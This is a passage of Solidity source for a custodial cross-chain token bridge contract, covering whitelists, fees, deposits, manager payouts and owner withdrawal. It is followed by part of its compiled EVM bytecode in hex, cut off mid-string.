event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Bridge is Manager, Pausable {
using SafeMath for *;
uint public immutable startNumber;
uint public immutable RATE100 = 10 ** 8;
address public immutable ETH = address(0);
//1=ETH, 2=BSC
// 0x0000000000000000000000000000000000000000
struct ChainInfo {
uint256 chainID;
uint256 gasFee;
uint256 gasOutFee;
}
struct Whitelist {
uint256 chainID;
address fromToken;
string toToken;
uint256 taxFeeRate;
}
struct AllowedWhiteList {
address fromToken;
uint256 allowed;
uint256 balance;
}
struct BridgeState {
address fromToken;
string toToken;
string name;
string symbol;
uint256 decimals;
uint256 balance;
}
event Convert (
address indexed sender,
address indexed fromToken,
uint256 indexed chainID,
string toToken,
string recipient,
uint256 amount,
uint256 conversionAmount,
uint256 gasFee,
uint256 tax
);
event Pay (
address indexed recipient,
address indexed token,
uint256 indexed chainID,
uint256 amount,
uint256 txhash
);
ChainInfo[] _chainInfo;
Whitelist[] _whitelist;
mapping(uint256 => bool) public receipt;
address public depositWallet;
constructor(address manager, address newDeposit) public{
startNumber = block.number;
setManager(manager);
setDepositWallet(newDeposit);
}
receive() payable external{}
function setDepositWallet(address newDeposit) public onlyOwner {
require(newDeposit != address(0));
depositWallet = newDeposit;
}
function setChainInfo(uint256 chainID,uint256 gasFee, uint256 gasOutFee) public onlyManager {
require(chainID > 0);
for(uint i = 0 ; i < _chainInfo.length; i++) {
if(_chainInfo[i].chainID == chainID) {
_chainInfo[i].gasFee = gasFee;
_chainInfo[i].gasOutFee = gasOutFee;
return;
}
}
_chainInfo.push(ChainInfo({
chainID: chainID,
gasFee: gasFee,
gasOutFee: gasOutFee
}));
}
function removeChainInfo(uint256 chainID) public onlyManager {
for(uint i = 0 ; i < _chainInfo.length; i++) {
if(_chainInfo[i].chainID == chainID) {
uint256 lastIdx = _chainInfo.length - 1;
if(i != lastIdx) {
_chainInfo[i].chainID = _chainInfo[lastIdx].chainID;
_chainInfo[i].gasFee = _chainInfo[lastIdx].gasFee;
_chainInfo[i].gasOutFee = _chainInfo[lastIdx].gasOutFee;
}
_chainInfo.pop();
return;
}
}
require(false, 'there is nothing to delete.');
}
function chainInfo(uint256 chainID) public view returns (ChainInfo memory) {
for(uint i = 0 ; i < _chainInfo.length; i++) {
if(_chainInfo[i].chainID == chainID) {
return _chainInfo[i];
}
}
require(false, 'chain not found.');
}
function chainInfos() public view returns (ChainInfo[] memory) {
return _chainInfo;
}
function setWhitelist(uint256 chainID,address fromToken,string memory toToken, uint256 taxFeeRate) public onlyManager {
require(taxFeeRate < RATE100);
for(uint i = 0 ; i < _whitelist.length; i++) {
if(_whitelist[i].chainID == chainID && _whitelist[i].fromToken == fromToken) {
_whitelist[i].toToken = toToken;
_whitelist[i].taxFeeRate = taxFeeRate;
return;
}
}
_whitelist.push(Whitelist({
chainID: chainID,
fromToken: fromToken,
toToken: toToken,
taxFeeRate: taxFeeRate
}));
}
function removeWhitelist(uint256 chainID, address fromToken) public onlyManager {
for(uint i = 0 ; i < _whitelist.length; i++) {
if(_whitelist[i].chainID == chainID && _whitelist[i].fromToken == fromToken) {
uint256 lastIdx = _whitelist.length - 1;
if(i != lastIdx) {
_whitelist[i].chainID = _whitelist[lastIdx].chainID;
_whitelist[i].fromToken = _whitelist[lastIdx].fromToken;
_whitelist[i].toToken = _whitelist[lastIdx].toToken;
_whitelist[i].taxFeeRate = _whitelist[lastIdx].taxFeeRate;
}
_whitelist.pop();
return;
}
}
require(false, 'there is nothing to delete.');
}
function whitelist(uint256 chainID, address fromToken) public view returns (Whitelist memory) {
for(uint i = 0 ; i < _whitelist.length; i++) {
if(_whitelist[i].chainID == chainID && _whitelist[i].fromToken == fromToken) {
return _whitelist[i];
}
}
require(false, 'whitelist not found.');
}
function whitelistPage(uint256 startIdx, uint256 endIdx) public view returns (Whitelist[] memory) {
uint256 maxIdx = endIdx;
if(endIdx >= _whitelist.length) {
maxIdx = _whitelist.length - 1;
}
uint256 size = maxIdx - startIdx + 1;
Whitelist[] memory ret = new Whitelist[](size);
uint256 idx = 0;
for(uint i = startIdx ; i <= maxIdx; i++) {
ret[idx].chainID = _whitelist[i].chainID;
ret[idx].fromToken = _whitelist[i].fromToken;
ret[idx].toToken = _whitelist[i].toToken;
ret[idx].taxFeeRate = _whitelist[i].taxFeeRate;
idx++;
}
return ret;
}
function whitelistLength() public view returns (uint256) {
return _whitelist.length;
}
function whitelistAll() public view returns (Whitelist[] memory) {
return _whitelist;
}
function gasFee(uint256 chainID) public view returns(uint256) {
ChainInfo memory targetChainInfo = chainInfo(chainID);
return targetChainInfo.gasFee;
}
function taxFee(uint256 chainID, address fromToken, uint256 amount) public view returns(uint256) {
require(amount > 0);
Whitelist memory white = whitelist(chainID, fromToken);
if(white.taxFeeRate > 0) {
uint256 tax = amount.mul(white.taxFeeRate).div(RATE100);
uint256 originAmount = tax.mul(RATE100).div(white.taxFeeRate);
require(originAmount == amount);
return tax;
}
return 0;
}
function convert(uint256 chainID, address fromToken, string memory recipient, uint256 amount) public payable whenNotPaused {
require(amount > 0);
Whitelist memory targetWhiteInfo = whitelist(chainID, fromToken);
uint256 gas = gasFee(chainID);
uint256 tax = taxFee(chainID, fromToken, amount);
if(fromToken == ETH) {
require(amount.add(gas) == msg.value);
} else {
require(gas == msg.value);
uint256 beforeBridgeBalance = IERC20(fromToken).balanceOf(address(this));
TransferHelper.safeTransferFrom(fromToken, msg.sender, address(this), amount);
uint256 afterBridgeBalance = IERC20(fromToken).balanceOf(address(this));
require(beforeBridgeBalance.add(amount) == afterBridgeBalance);
}
uint256 conversionAmount = amount.sub(tax);
TransferHelper.safeTransferETH(manager, gas);
if(fromToken == ETH) {
TransferHelper.safeTransferETH(depositWallet, tax);
} else {
TransferHelper.safeTransfer(fromToken, depositWallet, tax);
}
emit Convert(
msg.sender,
fromToken,
chainID,
targetWhiteInfo.toToken,
recipient,
amount,
conversionAmount,
gas,
tax
);
}
function pay(uint256 chainID, address token, address recipient, uint256 amount, uint256 txhash) public onlyManager {
require(amount > 0);
require(!receipt[txhash]);
if(token == ETH) {
TransferHelper.safeTransferETH(recipient, amount);
} else {
TransferHelper.safeTransfer(token, recipient, amount);
}
receipt[txhash] = true;
emit Pay(
recipient,
token,
chainID,
amount,
txhash
);
}
function payAll(uint256[] memory chainID, address[] memory token, address[] memory recipient, uint256[] memory amount, uint256[] memory txhash) public onlyManager {
for(uint i = 0 ; i < chainID.length; i++) {
pay(chainID[i], token[i], recipient[i], amount[i], txhash[i]);
}
}
function withdraw(address token, address to, uint256 amount) public onlyOwner {
require(amount > 0);
if(token == ETH) {
TransferHelper.safeTransferETH(to, amount);
} else {
TransferHelper.safeTransfer(token, to, amount);
}
}
function allowedBalanceOf(address owner) public view returns(AllowedWhiteList[] memory) {
AllowedWhiteList[] memory ret = new AllowedWhiteList[](whitelistLength());
for(uint i = 0 ; i < whitelistLength(); i++) {
if(_whitelist[i].fromToken == ETH) {
ret[i].fromToken = ETH;
ret[i].allowed = 100000000000000000000000000000000;
ret[i].balance = owner.balance;
} else {
ret[i].fromToken = _whitelist[i].fromToken;
ret[i].allowed = IERC20(_whitelist[i].fromToken).allowance(owner, address(this));
ret[i].balance = IERC20(_whitelist[i].fromToken).balanceOf(owner);
}
}
return ret;
}
function bridgeState() public view returns(uint256, uint256, ChainInfo[] memory, BridgeState[] memory) {
BridgeState[] memory ret = new BridgeState[](whitelistLength());
for(uint i = 0 ; i < whitelistLength(); i++) {
if(_whitelist[i].fromToken != ETH) {
ret[i].fromToken = _whitelist[i].fromToken;
ret[i].toToken = _whitelist[i].toToken;
ret[i].name = IERC20(_whitelist[i].fromToken).name();
ret[i].symbol = IERC20(_whitelist[i].fromToken).symbol();
ret[i].decimals = IERC20(_whitelist[i].fromToken).decimals();
ret[i].balance = IERC20(_whitelist[i].fromToken).balanceOf(address(this));
}
}
return (address(this).balance, manager.balance, chainInfos(), ret);
}
} | 0x6080604052600436106101dc5760003560e01c80638322fff2116101025780639fc7a20011610095578063d0ebdbe711610064578063d0ebdbe7146106ad578063d62cfbbd146106d6578063d9caed1214610701578063f2fde38b1461072a576101e3565b80639fc7a200146105df578063a2aa43371461060a578063acd4e53e14610647578063bd21f3e314610684576101e3565b80638e59d717116100d15780638e59d7171461052757806394008a6e1461055057806398691c8f146105795780639a9a9d0b146105b6576101e3565b80638322fff21461047d5780638456cb59146104a85780638a59c83e146104bf5780638da5cb5b146104fc576101e3565b80633f4ba83a1161017a5780635c975abb116101495780635c975abb146103d35780635d54e612146103fe5780636b8802581461042957806378bb516414610452576101e3565b80633f4ba83a146103265780634466ec2c1461033d578063481c6a751461036b5780634b25bfce14610396576101e3565b80631d939a94116101b65780631d939a941461028d5780632570ec40146102b6578063338f96b8146102e157806335be1560146102fd576101e3565b80630157288b146101e857806309904c00146102255780631421ac4e14610250576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190613d10565b610753565b60405161021c9190614a83565b60405180910390f35b34801561023157600080fd5b5061023a610835565b6040516102479190614794565b60405180910390f35b34801561025c57600080fd5b5061027760048036038101906102729190613b3f565b61085b565b6040516102849190614853565b60405180910390f35b34801561029957600080fd5b506102b460048036038101906102af9190613e15565b610c98565b005b3480156102c257600080fd5b506102cb610f70565b6040516102d89190614875565b60405180910390f35b6102fb60048036038101906102f69190613e15565b610fed565b005b34801561030957600080fd5b50610324600480360381019061031f9190613bb7565b611382565b005b34801561033257600080fd5b5061033b6114c3565b005b34801561034957600080fd5b5061035261157e565b6040516103629493929190614b04565b60405180910390f35b34801561037757600080fd5b50610380611bba565b60405161038d9190614794565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190613d62565b611be0565b6040516103ca9190614a9e565b60405180910390f35b3480156103df57600080fd5b506103e8611e26565b6040516103f591906148b9565b60405180910390f35b34801561040a57600080fd5b50610413611e39565b6040516104209190614897565b60405180910390f35b34801561043557600080fd5b50610450600480360381019061044b9190613b3f565b611fa4565b005b34801561045e57600080fd5b5061046761207b565b6040516104749190614ac0565b60405180910390f35b34801561048957600080fd5b50610492612088565b60405161049f9190614794565b60405180910390f35b3480156104b457600080fd5b506104bd6120ac565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190613d10565b612167565b6040516104f39190614ac0565b60405180910390f35b34801561050857600080fd5b50610511612189565b60405161051e9190614794565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190613d10565b6121ae565b005b34801561055c57600080fd5b5061057760048036038101906105729190613d62565b612406565b005b34801561058557600080fd5b506105a0600480360381019061059b9190613edf565b6127b9565b6040516105ad9190614897565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d89190613d9e565b612a3e565b005b3480156105eb57600080fd5b506105f4612c31565b6040516106019190614ac0565b60405180910390f35b34801561061657600080fd5b50610631600480360381019061062c9190613d10565b612c55565b60405161063e91906148b9565b60405180910390f35b34801561065357600080fd5b5061066e60048036038101906106699190613e90565b612c75565b60405161067b9190614ac0565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190613f1b565b612d62565b005b3480156106b957600080fd5b506106d460048036038101906106cf9190613b3f565b612f1f565b005b3480156106e257600080fd5b506106eb612fbc565b6040516106f89190614ac0565b60405180910390f35b34801561070d57600080fd5b5061072860048036038101906107239190613b68565b612fe0565b005b34801561073657600080fd5b50610751600480360381019061074c9190613b3f565b6130ba565b005b61075b6136d2565b60008090505b6002805490508110156107ed57826002828154811061077c57fe5b90600052602060002090600302016000015414156107e057600281815481106107a157fe5b90600052602060002090600302016040518060600160405290816000820154815260200160018201548152602001600282015481525050915050610830565b8080600101915050610761565b50600061082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906149a3565b60405180910390fd5b5b919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608061086661207b565b67ffffffffffffffff8111801561087c57600080fd5b506040519080825280602002602001820160405280156108b657816020015b6108a36136f3565b81526020019060019003908161089b5790505b50905060008090505b6108c761207b565b811015610c8e577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166003828154811061091257fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a2f577f000000000000000000000000000000000000000000000000000000000000000082828151811061098d57fe5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506d04ee2d6d415b85acef81000000008282815181106109e657fe5b602002602001015160200181815250508373ffffffffffffffffffffffffffffffffffffffff1631828281518110610a1a57fe5b60200260200101516040018181525050610c81565b60038181548110610a3c57fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110610a7a57fe5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060038181548110610ac557fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b8152600401610b319291906147ca565b60206040518083038186803b158015610b4957600080fd5b505afa158015610b5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b819190613d39565b828281518110610b8d57fe5b6020026020010151602001818152505060038181548110610baa57fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610c149190614794565b60206040518083038186803b158015610c2c57600080fd5b505afa158015610c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c649190613d39565b828281518110610c7057fe5b602002602001015160400181815250505b80806001019150506108bf565b5080915050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610d4057503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610d4957600080fd5b7f0000000000000000000000000000000000000000000000000000000005f5e1008110610d7557600080fd5b60008090505b600380549050811015610e8c578460038281548110610d9657fe5b906000526020600020906004020160000154148015610e1e57508373ffffffffffffffffffffffffffffffffffffffff1660038281548110610dd457fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610e7f578260038281548110610e3157fe5b90600052602060002090600402016002019080519060200190610e5592919061372a565b508160038281548110610e6457fe5b90600052602060002090600402016003018190555050610f6a565b8080600101915050610d7b565b50600360405180608001604052808681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381525090806001815401808255809150506001900390600052602060002090600402016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002019080519060200190610f5c92919061372a565b506060820151816003015550505b50505050565b60606002805480602002602001604051908101604052809291908181526020016000905b82821015610fe45783829060005260206000209060030201604051806060016040529081600082015481526020016001820154815260200160028201548152505081526020019060010190610f94565b50505050905090565b600160149054906101000a900460ff161561100757600080fd5b6000811161101457600080fd5b61101c6137aa565b6110268585611be0565b9050600061103386612167565b90506000611042878786612c75565b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156110bb57346110ac838661320b90919063ffffffff16565b146110b657600080fd5b61120e565b3482146110c757600080fd5b60008673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161110291906147af565b60206040518083038186803b15801561111a57600080fd5b505afa15801561112e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111529190613d39565b90506111608733308861325b565b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161119b91906147af565b60206040518083038186803b1580156111b357600080fd5b505afa1580156111c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111eb9190613d39565b905080611201878461320b90919063ffffffff16565b1461120b57600080fd5b50505b6000611223828661339590919063ffffffff16565b9050611251600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846133e5565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156112d6576112d1600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836133e5565b611304565b61130387600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846134e3565b5b878773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa389ad24d5908df530571e2da4595e2cfe937a5775a8ebf7af6db64f0496039387604001518a8a878a8a604051611370969594939291906148d4565b60405180910390a45050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061142a57503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61143357600080fd5b60008090505b85518110156114bb576114ae86828151811061145157fe5b602002602001015186838151811061146557fe5b602002602001015186848151811061147957fe5b602002602001015186858151811061148d57fe5b60200260200101518686815181106114a157fe5b6020026020010151612a3e565b8080600101915050611439565b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461151c57600080fd5b600160149054906101000a900460ff1661153557600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080606080606061158e61207b565b67ffffffffffffffff811180156115a457600080fd5b506040519080825280602002602001820160405280156115de57816020015b6115cb6137e8565b8152602001906001900390816115c35790505b50905060008090505b6115ef61207b565b811015611b66577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166003828154811061163a57fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b59576003818154811061169457fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168282815181106116d257fe5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506003818154811061171d57fe5b90600052602060002090600402016002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c25780601f10611797576101008083540402835291602001916117c2565b820191906000526020600020905b8154815290600101906020018083116117a557829003601f168201915b50505050508282815181106117d357fe5b602002602001015160200181905250600381815481106117ef57fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561186657600080fd5b505afa15801561187a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906118a39190613ccf565b8282815181106118af57fe5b602002602001015160400181905250600381815481106118cb57fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561194257600080fd5b505afa158015611956573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061197f9190613ccf565b82828151811061198b57fe5b602002602001015160600181905250600381815481106119a757fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1e57600080fd5b505afa158015611a32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a569190613f6a565b60ff16828281518110611a6557fe5b6020026020010151608001818152505060038181548110611a8257fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611aec91906147af565b60206040518083038186803b158015611b0457600080fd5b505afa158015611b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3c9190613d39565b828281518110611b4857fe5b602002602001015160a00181815250505b80806001019150506115e7565b5047600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631611baa610f70565b8394509450945094505090919293565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611be86137aa565b60008090505b600380549050811015611ddd578360038281548110611c0957fe5b906000526020600020906004020160000154148015611c9157508273ffffffffffffffffffffffffffffffffffffffff1660038281548110611c4757fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15611dd05760038181548110611ca357fe5b9060005260206000209060040201604051806080016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611db55780601f10611d8a57610100808354040283529160200191611db5565b820191906000526020600020905b815481529060010190602001808311611d9857829003601f168201915b50505050508152602001600382015481525050915050611e20565b8080600101915050611bee565b506000611e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1690614a43565b60405180910390fd5b5b92915050565b600160149054906101000a900460ff1681565b60606003805480602002602001604051908101604052809291908181526020016000905b82821015611f9b5783829060005260206000209060040201604051806080016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f795780601f10611f4e57610100808354040283529160200191611f79565b820191906000526020600020905b815481529060010190602001808311611f5c57829003601f168201915b5050505050815260200160038201548152505081526020019060010190611e5d565b50505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ffd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561203757600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600380549050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461210557600080fd5b600160149054906101000a900460ff161561211f57600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60006121716136d2565b61217a83610753565b90508060200151915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061225657503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61225f57600080fd5b60008090505b6002805490508110156123c057816002828154811061228057fe5b90600052602060002090600302016000015414156123b3576000600160028054905003905080821461237057600281815481106122b957fe5b906000526020600020906003020160000154600283815481106122d857fe5b906000526020600020906003020160000181905550600281815481106122fa57fe5b9060005260206000209060030201600101546002838154811061231957fe5b9060005260206000209060030201600101819055506002818154811061233b57fe5b9060005260206000209060030201600201546002838154811061235a57fe5b9060005260206000209060030201600201819055505b600280548061237b57fe5b600190038181906000526020600020906003020160008082016000905560018201600090556002820160009055505090555050612403565b8080600101915050612265565b506000612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f990614a03565b60405180910390fd5b5b50565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806124ae57503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6124b757600080fd5b60008090505b6003805490508110156127725782600382815481106124d857fe5b90600052602060002090600402016000015414801561256057508173ffffffffffffffffffffffffffffffffffffffff166003828154811061251657fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561276557600060016003805490500390508082146126f3576003818154811061258657fe5b906000526020600020906004020160000154600383815481106125a557fe5b906000526020600020906004020160000181905550600381815481106125c757fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003838154811061260657fe5b906000526020600020906004020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003818154811061266257fe5b90600052602060002090600402016002016003838154811061268057fe5b906000526020600020906004020160020190805460018160011615610100020316600290046126b0929190613834565b50600381815481106126be57fe5b906000526020600020906004020160030154600383815481106126dd57fe5b9060005260206000209060040201600301819055505b60038054806126fe57fe5b60019003818190600052602060002090600402016000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560028201600061275291906138bb565b60038201600090555050905550506127b5565b80806001019150506124bd565b5060006127b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ab90614a03565b60405180910390fd5b5b5050565b6060600082905060038054905083106127d85760016003805490500390505b6000600185830301905060608167ffffffffffffffff811180156127fb57600080fd5b5060405190808252806020026020018201604052801561283557816020015b6128226137aa565b81526020019060019003908161281a5790505b509050600080905060008790505b848111612a30576003818154811061285757fe5b90600052602060002090600402016000015483838151811061287557fe5b602002602001015160000181815250506003818154811061289257fe5b906000526020600020906004020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383815181106128d057fe5b60200260200101516020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506003818154811061291b57fe5b90600052602060002090600402016002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129c05780601f10612995576101008083540402835291602001916129c0565b820191906000526020600020905b8154815290600101906020018083116129a357829003601f168201915b50505050508383815181106129d157fe5b602002602001015160400181905250600381815481106129ed57fe5b906000526020600020906004020160030154838381518110612a0b57fe5b6020026020010151606001818152505081806001019250508080600101915050612843565b508194505050505092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612ae657503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612aef57600080fd5b60008211612afc57600080fd5b6004600082815260200190815260200160002060009054906101000a900460ff1615612b2757600080fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b8a57612b8583836133e5565b612b96565b612b958484846134e3565b5b60016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550848473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f1e4131bac8779daab09f166c157a948dba244c5c40d44558d77fb487abc31b368585604051612c22929190614adb565b60405180910390a45050505050565b7f0000000000000000000000000000000000000000000000000000000000db72a381565b60046020528060005260406000206000915054906101000a900460ff1681565b6000808211612c8357600080fd5b612c8b6137aa565b612c958585611be0565b9050600081606001511115612d55576000612cef7f0000000000000000000000000000000000000000000000000000000005f5e100612ce184606001518761361a90919063ffffffff16565b61367c90919063ffffffff16565b90506000612d3c8360600151612d2e7f0000000000000000000000000000000000000000000000000000000005f5e1008561361a90919063ffffffff16565b61367c90919063ffffffff16565b9050848114612d4a57600080fd5b819350505050612d5b565b60009150505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612e0a57503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612e1357600080fd5b60008311612e2057600080fd5b60008090505b600280549050811015612eb2578360028281548110612e4157fe5b9060005260206000209060030201600001541415612ea5578260028281548110612e6757fe5b9060005260206000209060030201600101819055508160028281548110612e8a57fe5b90600052602060002090600302016002018190555050612f1a565b8080600101915050612e26565b506002604051806060016040528085815260200184815260200183815250908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000155602082015181600101556040820151816002015550505b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f7857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000000000000000000000000000000000000005f5e10081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffff